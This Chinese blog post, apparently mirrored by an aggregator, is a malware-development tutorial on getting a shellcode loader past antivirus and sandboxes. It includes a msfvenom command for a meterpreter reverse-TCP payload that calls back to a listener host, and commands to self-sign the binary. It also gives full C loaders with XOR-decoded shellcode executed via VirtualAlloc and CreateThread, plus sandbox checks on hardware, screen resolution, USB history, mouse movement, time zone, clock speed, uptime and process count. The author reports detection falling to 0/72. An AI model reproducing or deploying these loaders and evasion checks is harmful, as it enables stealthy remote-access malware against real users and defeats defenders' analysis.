2

恶意程序研究之绕过虚拟机

 3 years ago
source link: https://www.ascotbe.com/2020/05/21/BypassTheVirtualMachine/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

新篇章开始了,主要讲一些探测沙盒以及编译工具的方法,之前我写的那个勒索病毒用到的大部分方法我都会总结到这里,也会参考一些师傅的文章,算是一个巩固吧,最后会把所有代码上传到GitHub中,之前免杀里面说的一些像加密之类的操作这里就不在重复写了。

B79A6672434BA2BBDDF34E537B3CD05D

这是半成品,还有几个代码没敲完,还有点瑕疵

从编译角度来看免杀

全篇文章以免杀中的VirtualAllocPlanA作为基础例子来验证我们的猜想,

删除链接库

有些反病毒软件会识别链接器中的问题,如果说xxx.lib这些编译器会自动帮我们加上,如果把链接器选项中的其他依赖项删除掉(尤其是kernel32.lib),某些反恶意软件引擎就不会把生成的可执行文件标记为恶意的。

这是系统自带的附加依赖,我们生产后放到TV中查杀看看

可以看到免杀率为28/72

接着把附加依赖项删除了,重新生成

可以看到我们绕过了5家杀软,免杀率23/72

知道PE原理的小伙伴可能会说把这个删了文件就无法加载kernel32.dll这个重要的文件了,其实当我们编译的时候vs2019会自动把该dll静态的链接到程序上

对二进制文件进行签名

我这里用到makecert,这个软件当你装vs系列的编译器的时候就已经自带了

位置:vs2019->工具->命令行->里面cmd和powershell随便选一个都行

用法参数翻译过来如表格

基本选项 指定主题的证书名称。在双引号中指定此名称,并加上前缀 CN=;例如,”CN=myName”。 -pe 将所生成的私钥标记为可导出。这样可将私钥包括在证书中。 -sk keyname 指定主题的密钥容器位置,该位置包含私钥。如果密钥容器不存在,系统将创建一个。 -sr location 指定主题的证书存储位置。Location 可以是 currentuser(默认值)或 localmachine。 -ss store 指定主题的证书存储名称,输出证书即存储在那里。 -# number 指定一个介于 1 和 2,147,483,647 之间的序列号。默认值是由 Makecert.exe 生成的唯一值。 -$ authority 指定证书的签名权限,必须设置为 commercial(对于商业软件发行者使用的证书)或 individual(对于个人软件发行者使用的证书)。

可以使用如下命令

1.makecert -r -pe -n "CN=Ascotbe CA" -ss CA -sr CurrentUser -a sha256 -cy authority -sky signature -sv AscotbeCA.pvk AscotbeCA.cer
2.certutil -user -addstore Root AscotbeCA.cer
3.makecert -pe -n "CN=Ascotbe Cert" -a sha256 -cy end -sky signature -ic AscotbeCA.cer -iv AscotbeCA.pvk -sv AscotbeCert.pvk AscotbeCert.cer
4.pvk2pfx -pvk AscotbeCert.pvk -spc AscotbeCert.cer -pfx AscotbeCert.pfx
5.signtool sign /v /f AscotbeCert.pfx /t http://timestamp.verisign.com/scripts/timstamp.dll VirtualAllocPlanA.exe

可以看到利用证书后又绕过了4家杀软,免杀率19/72

使用X64位进行编译

当前的32位系统以及开始慢慢淘汰了,所以我们可以利用X64位的POC来进行编译,32位的POC已经是重灾区了

首先用msf生成shellcode

msfvenom -p  windows/x64/meterpreter/reverse_tcp -i 6 -b '\x00' lhost=192.168.0.161 lport=6666   -f c

接着重复上面两个步骤编译出来的程序放到TV中查杀下,可以发现免杀瞬间绕过了10个杀软,免杀率9/72

对ico图标进行更换

替换资源文件,有些杀软还会检查你的ico图标

检测设备和供应商名称

硬件大小检测

一般的电脑现在都是最少4G内存了,硬盘最少都是500G的,CPU核心数都是2个以上,而反观虚拟机上的大部分都是分配个双核,2G内存,60G硬盘

SYSTEM_INFO SystemInfo;
GetSystemInfo(&SystemInfo);//获取系统信息
DWORD NumberOfProcessors = SystemInfo.dwNumberOfProcessors;
if (NumberOfProcessors < 2)
{
return 0;
}
//std::cout << NumberOfProcessors<<std::endl;
// check RAM
MEMORYSTATUSEX MemoryStatus;
MemoryStatus.dwLength = sizeof(MemoryStatus);
GlobalMemoryStatusEx(&MemoryStatus);
DWORD RAMMB = MemoryStatus.ullTotalPhys / 1024 / 1024;
//std::cout << RAMMB << std::endl;
if (RAMMB < 2048)
{
return 0;
}

// check HDD
HANDLE hDevice = CreateFileW(L"\\.\PhysicalDrive0", 0, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
DISK_GEOMETRY pDiskGeometry;
DWORD bytesReturned;
DeviceIoControl(hDevice, IOCTL_DISK_GET_DRIVE_GEOMETRY, NULL, 0, &pDiskGeometry, sizeof(pDiskGeometry), &bytesReturned, (LPOVERLAPPED)NULL);
DWORD diskSizeGB;
diskSizeGB = pDiskGeometry.Cylinders.QuadPart * (ULONG)pDiskGeometry.TracksPerCylinder * (ULONG)pDiskGeometry.SectorsPerTrack * (ULONG)pDiskGeometry.BytesPerSector / 1024 / 1024 / 1024;
//std::cout << diskSizeGB << std::endl;
if (diskSizeGB < 100)
{
return 0;
}

利用检测基础硬件来绕过,发现可以再次绕过三家杀软,免杀率6/72

#include <Windows.h>
#include <stdio.h>
#include <string.h>

#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出黑窗口


int main()

{
SYSTEM_INFO SystemInfo;
GetSystemInfo(&SystemInfo);//获取系统信息
DWORD NumberOfProcessors = SystemInfo.dwNumberOfProcessors;
if (NumberOfProcessors < 2)
{
return 0;
}
//std::cout << NumberOfProcessors<<std::endl;
// check RAM
MEMORYSTATUSEX MemoryStatus;
MemoryStatus.dwLength = sizeof(MemoryStatus);
GlobalMemoryStatusEx(&MemoryStatus);
DWORD RAMMB = MemoryStatus.ullTotalPhys / 1024 / 1024;
//std::cout << RAMMB << std::endl;
if (RAMMB < 2048)
{
return 0;
}

// check HDD
HANDLE hDevice = CreateFileW(L"\\.\PhysicalDrive0", 0, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
DISK_GEOMETRY pDiskGeometry;
DWORD bytesReturned;
DeviceIoControl(hDevice, IOCTL_DISK_GET_DRIVE_GEOMETRY, NULL, 0, &pDiskGeometry, sizeof(pDiskGeometry), &bytesReturned, (LPOVERLAPPED)NULL);
DWORD diskSizeGB;
diskSizeGB = pDiskGeometry.Cylinders.QuadPart * (ULONG)pDiskGeometry.TracksPerCylinder * (ULONG)pDiskGeometry.SectorsPerTrack * (ULONG)pDiskGeometry.BytesPerSector / 1024 / 1024 / 1024;
//std::cout << diskSizeGB << std::endl;
if (diskSizeGB < 100)
{
return 0;
}

unsigned char buf[] = "X64shellcode";
LPVOID Memory;

Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

memcpy(Memory, buf, sizeof(buf));

((void(*)())Memory)();

}

对上面代码的shellcode进行异或加密后,在执行的时候解密再次绕过三家杀软,免杀率3/72

具体代码如下

#include <Windows.h>
#include <stdio.h>
#include <string.h>

#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出黑窗口


int main()

{
SYSTEM_INFO SystemInfo;
GetSystemInfo(&SystemInfo);//获取系统信息
DWORD NumberOfProcessors = SystemInfo.dwNumberOfProcessors;
if (NumberOfProcessors < 2)
{
return 0;
}
//std::cout << NumberOfProcessors<<std::endl;
// check RAM
MEMORYSTATUSEX MemoryStatus;
MemoryStatus.dwLength = sizeof(MemoryStatus);
GlobalMemoryStatusEx(&MemoryStatus);
DWORD RAMMB = MemoryStatus.ullTotalPhys / 1024 / 1024;
//std::cout << RAMMB << std::endl;
if (RAMMB < 2048)
{
return 0;
}

// check HDD
HANDLE hDevice = CreateFileW(L"\\.\PhysicalDrive0", 0, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
DISK_GEOMETRY pDiskGeometry;
DWORD bytesReturned;
DeviceIoControl(hDevice, IOCTL_DISK_GET_DRIVE_GEOMETRY, NULL, 0, &pDiskGeometry, sizeof(pDiskGeometry), &bytesReturned, (LPOVERLAPPED)NULL);
DWORD diskSizeGB;
diskSizeGB = pDiskGeometry.Cylinders.QuadPart * (ULONG)pDiskGeometry.TracksPerCylinder * (ULONG)pDiskGeometry.SectorsPerTrack * (ULONG)pDiskGeometry.BytesPerSector / 1024 / 1024 / 1024;
//std::cout << diskSizeGB << std::endl;
if (diskSizeGB < 100)
{
return 0;
}

int shellcode_size = 0; // shellcode长度
DWORD dwThreadId; // 线程ID
HANDLE hThread; // 线程句柄
DWORD dwOldProtect; // 内存页属性
/* length: 800 bytes */

unsigned char buf[] = "X64异或后的代码";


// 获取shellcode大小
shellcode_size = sizeof(buf);

/* 增加异或代码 */
for (int i = 0; i < shellcode_size; i++) {
buf[i] ^= 10;
}
/*
VirtualAlloc(
NULL, // 基址
800, // 大小
MEM_COMMIT, // 内存页状态
PAGE_EXECUTE_READWRITE // 可读可写可执行
);
*/

char* shellcode = (char*)VirtualAlloc(
NULL,
shellcode_size,
MEM_COMMIT,
PAGE_READWRITE // 只申请可读可写
//原来的属性是PAGE_EXECUTE_READWRITE
);

// 将shellcode复制到可读可写的内存页中
CopyMemory(shellcode, buf, shellcode_size);

// 这里开始更改它的属性为可执行
VirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect);

// 等待几秒,兴许可以跳过某些沙盒呢?
Sleep(2000);

hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);

WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束
return 0;

}

再努努力绕过绕过全球杀软指日可待

硬件名称检测
特殊的注册列表
特殊的进程
已加载的库

检查屏幕分辨率

虚拟化环境很少使用多个显示器(尤其是沙箱)。虚拟显示器可能也没有特定的屏幕尺寸(尤其是处于自适应主机而不是全屏模式的时候,这时虚拟机窗口有滚动条或者选项卡),而有些沙箱甚至没有屏幕。

基于检测设备大小上面在加个检测分辨率

具体代码如下

#include <Windows.h>
#include <stdio.h>
#include <string.h>
#include<devguid.h>
#pragma comment(lib, "User32.lib ")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出黑窗口


//检查硬件是否正常
bool HardwareCapacity()
{
SYSTEM_INFO SystemInfo;
GetSystemInfo(&SystemInfo);//获取系统信息
DWORD NumberOfProcessors = SystemInfo.dwNumberOfProcessors;
if (NumberOfProcessors < 2)
{
return false;
}
//std::cout << NumberOfProcessors<<std::endl;
// check RAM
MEMORYSTATUSEX MemoryStatus;
MemoryStatus.dwLength = sizeof(MemoryStatus);
GlobalMemoryStatusEx(&MemoryStatus);
DWORD RAMMB = MemoryStatus.ullTotalPhys / 1024 / 1024;
//std::cout << RAMMB << std::endl;
if (RAMMB < 2048)
{
return false;

}

// check HDD
HANDLE hDevice = CreateFileW(L"\\.\PhysicalDrive0", 0, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
DISK_GEOMETRY pDiskGeometry;
DWORD bytesReturned;
DeviceIoControl(hDevice, IOCTL_DISK_GET_DRIVE_GEOMETRY, NULL, 0, &pDiskGeometry, sizeof(pDiskGeometry), &bytesReturned, (LPOVERLAPPED)NULL);
DWORD diskSizeGB;
diskSizeGB = pDiskGeometry.Cylinders.QuadPart * (ULONG)pDiskGeometry.TracksPerCylinder * (ULONG)pDiskGeometry.SectorsPerTrack * (ULONG)pDiskGeometry.BytesPerSector / 1024 / 1024 / 1024;
//std::cout << diskSizeGB << std::endl;
if (diskSizeGB < 100)
{
return false;
}
return true;
}


bool CALLBACK MonitorInfoCallback(HMONITOR hMonitor, HDC hdcMonitor, LPRECT lpRect, LPARAM data)
{
MONITORINFO MonitorInfo;
MonitorInfo.cbSize = sizeof(MONITORINFO);
GetMonitorInfoW(hMonitor, &MonitorInfo);
int iXResolution = MonitorInfo.rcMonitor.right - MonitorInfo.rcMonitor.left;
int iYResolution = MonitorInfo.rcMonitor.top - MonitorInfo.rcMonitor.bottom;
if (iXResolution < 0) iXResolution = -iXResolution;
if (iYResolution < 0) iYResolution = -iYResolution;
//这边匹配常见分辨率
if ((iXResolution != 1920 && iXResolution != 2560 && iXResolution != 1440)
|| (iYResolution != 1080 && iYResolution != 1200 && iYResolution != 1600 && iYResolution != 900))
{
*((BOOL*)data) = true;
}
return true;
}
//检查分辨率是否正常
bool MonitorInfo()
{
MONITORENUMPROC pMonitorInfoCallback = (MONITORENUMPROC)MonitorInfoCallback;
//https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getsystemmetrics
//改函数具体参数见文档
int iXResolution = GetSystemMetrics(SM_CXSCREEN);
int iYResolution = GetSystemMetrics(SM_CYSCREEN);
//std::cout << iXResolution << std::endl;
//std::cout << iYResolution << std::endl;
if (iXResolution < 1000 && iYResolution < 1000)
{
return false;
}

int iNumberOfMonitors = GetSystemMetrics(SM_CMONITORS);//获取可见显示器数量
//std::cout << iNumberOfMonitors << std::endl;
bool bSandBox = false;
//用枚举来查询每个显示器
//https://docs.microsoft.com/zh-cn/windows/win32/api/winuser/nf-winuser-enumdisplaymonitors
EnumDisplayMonitors(NULL, NULL, pMonitorInfoCallback, (LPARAM)(&bSandBox));
if (bSandBox)
{
return false;
}
return true;

}
int main()

{
bool bHardwareDetection = true;
bool bWindowDetection = true;
bHardwareDetection =HardwareCapacity();
bWindowDetection=MonitorInfo();
if (bHardwareDetection == false || bWindowDetection == false)
{
return 0;
}

int shellcode_size = 0; // shellcode长度
DWORD dwThreadId; // 线程ID
HANDLE hThread; // 线程句柄
DWORD dwOldProtect; // 内存页属性
/* length: 800 bytes */

unsigned char buf[] = "X64shellcode";


// 获取shellcode大小
shellcode_size = sizeof(buf);

/* 增加异或代码 */
for (int i = 0; i < shellcode_size; i++) {
buf[i] ^= 10;
}
/*
VirtualAlloc(
NULL, // 基址
800, // 大小
MEM_COMMIT, // 内存页状态
PAGE_EXECUTE_READWRITE // 可读可写可执行
);
*/

char* shellcode = (char*)VirtualAlloc(
NULL,
shellcode_size,
MEM_COMMIT,
PAGE_READWRITE // 只申请可读可写
//原来的属性是PAGE_EXECUTE_READWRITE
);

// 将shellcode复制到可读可写的内存页中
CopyMemory(shellcode, buf, shellcode_size);

// 这里开始更改它的属性为可执行
VirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect);

// 等待几秒,兴许可以跳过某些沙盒呢?
Sleep(2000);

hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);

WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束
return 0;

}

到现在又绕过了两家杀软,目前就剩下一家了,免杀率1/72

检测系统是否是刚装的

大多数分析的系统都是新的,比如说专门分析的虚拟机会拍摄快照方便回滚,而快照大部分都是初始化的系统,比如注册列表不存在有U盘插上过

bool UsbNumberJudgment()
{
HKEY hKey;
DWORD dwMountedUSBDevicesCount;
RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SYSTEM\\ControlSet001\\Enum\\USBSTOR", 0, KEY_READ, &hKey);
RegQueryInfoKey(hKey, NULL, NULL, NULL, &dwMountedUSBDevicesCount, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
if (dwMountedUSBDevicesCount < 1)
{
return false;
}
return true;
}

检测鼠标移动轨迹

沙箱嘛,有些肯定是没有鼠标的,可以设置鼠标移动轨迹,如果移动多少距离才执行shellcode.

bool DetectMouseMovementTrack()
{
POINT CurrentMousePosition;
POINT PreviousMousePosition;
GetCursorPos(&PreviousMousePosition);
double dMouseDistance = 0;
while (true)
{
GetCursorPos(&CurrentMousePosition);
dMouseDistance += sqrt(
pow(CurrentMousePosition.x - PreviousMousePosition.x, 2) +
pow(CurrentMousePosition.y - PreviousMousePosition.y, 2)
);
Sleep(100);
//std::cout << dMouseDistance << std::endl;
PreviousMousePosition = CurrentMousePosition;
if (dMouseDistance > 20000)
{
//std::cout << dMouseDistance << std::endl;
return true;
}
}
}

有下面可以看见我们鼠标移动的距离,直到我们设定的距离后才退出

有些沙箱嘛,为了快速的结束检测会加速当前时间,毕竟检测一个病毒并不能花太多时间。

首先检测时区是否对应

比如你的目标是中欧的,那么他的时区就是CENTRAL EUROPEAN STANDARD TIME,我本地是NORTH ASIA EAST STANDARD TIME,所有我用该值来判断,视目标位置来具体判断

bool TimeZoneDetection()
{
SetThreadLocale(MAKELCID(MAKELANGID(LANG_ENGLISH, SUBLANG_ENGLISH_US), SORT_DEFAULT));
DYNAMIC_TIME_ZONE_INFORMATION DynamicTimeZoneInfo;
GetDynamicTimeZoneInformation(&DynamicTimeZoneInfo);
wchar_t wcTimeZoneName[128 + 1];
StringCchCopyW(wcTimeZoneName, 128, DynamicTimeZoneInfo.TimeZoneKeyName);
CharUpperW(wcTimeZoneName);
if (!wcsstr(wcTimeZoneName, L"NORTH ASIA EAST STANDARD TIME"))
{
return false;
}
return true;
}
检查时间流动性

该方法通过检查CPU周期的时间和当前UNIX时间戳是否流动相关,如果超过了那么要么是在调试,要么是在沙箱里面

bool TimeAcceleratedJudgment()
{
clock_t ClockStartTime, ClockEndTime;
time_t UnixStartTime = time(0);
//std::cout << "UnixStartTime:" << UnixStartTime << std::endl;
ClockStartTime = clock();
Sleep(10000);//暂停10秒
ClockEndTime = clock();
time_t UnixEndTime = time(0);
//std::cout << "StartTime:" << ClockStartTime << std::endl;
//std::cout << "EndTime:" << ClockEndTime << std::endl;

//std::cout << "UnixEndTime:" << UnixEndTime << std::endl;
int iTimeDifference = ((UnixEndTime - UnixStartTime) * 1000) - (ClockEndTime - ClockStartTime);
if (iTimeDifference>150)
{
return false;
}
return true;
}
检查系统运行时间

虚拟机容易回滚,那么运行的时间肯定是很短的,那么就判断时间就好

bool CheckRunningTime()
{
ULONGLONG uptime = GetTickCount64() / 1000;
std::cout << uptime;
if (uptime < 1200)
{
return false;
}
return true;
}

检查运行进程数量

沙箱是精简版的系统,就是说能少运行就少运行,能不运行就不运行,所以我们可以查看系统进程来判断是否在虚拟机中

bool CheckTheNumberOfProcesses()
{
DWORD dwRunningProcessesIDs[1024];
DWORD dwRunningProcessesCountBytes;
DWORD dwRunningProcessesCount;
EnumProcesses(dwRunningProcessesIDs, sizeof(dwRunningProcessesIDs), &dwRunningProcessesCountBytes);
dwRunningProcessesCount = dwRunningProcessesCountBytes / sizeof(DWORD);
//std::cout << dwRunningProcessesCount;
if (dwRunningProcessesCount < 50)
{
return false;
}
return true;
}

百分百免杀

到检测分辨率那边,就剩下一家没绕过了,后面测试了好多种方法都还是绕不过去,然后看那边报毒是X64 木马程序,我就预感到可能是因为字符串的问题导致没绕过去的,最后面把代码换成N个字符串相加即可,尝试这样拼接。

代码有点瑕疵,改完在贴上

挑战全球杀软成功!免杀率0/72

参考文章
https://0xpat.github.io/Malware_development_part_2/
https://www.freebuf.com/articles/system/122134.html

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK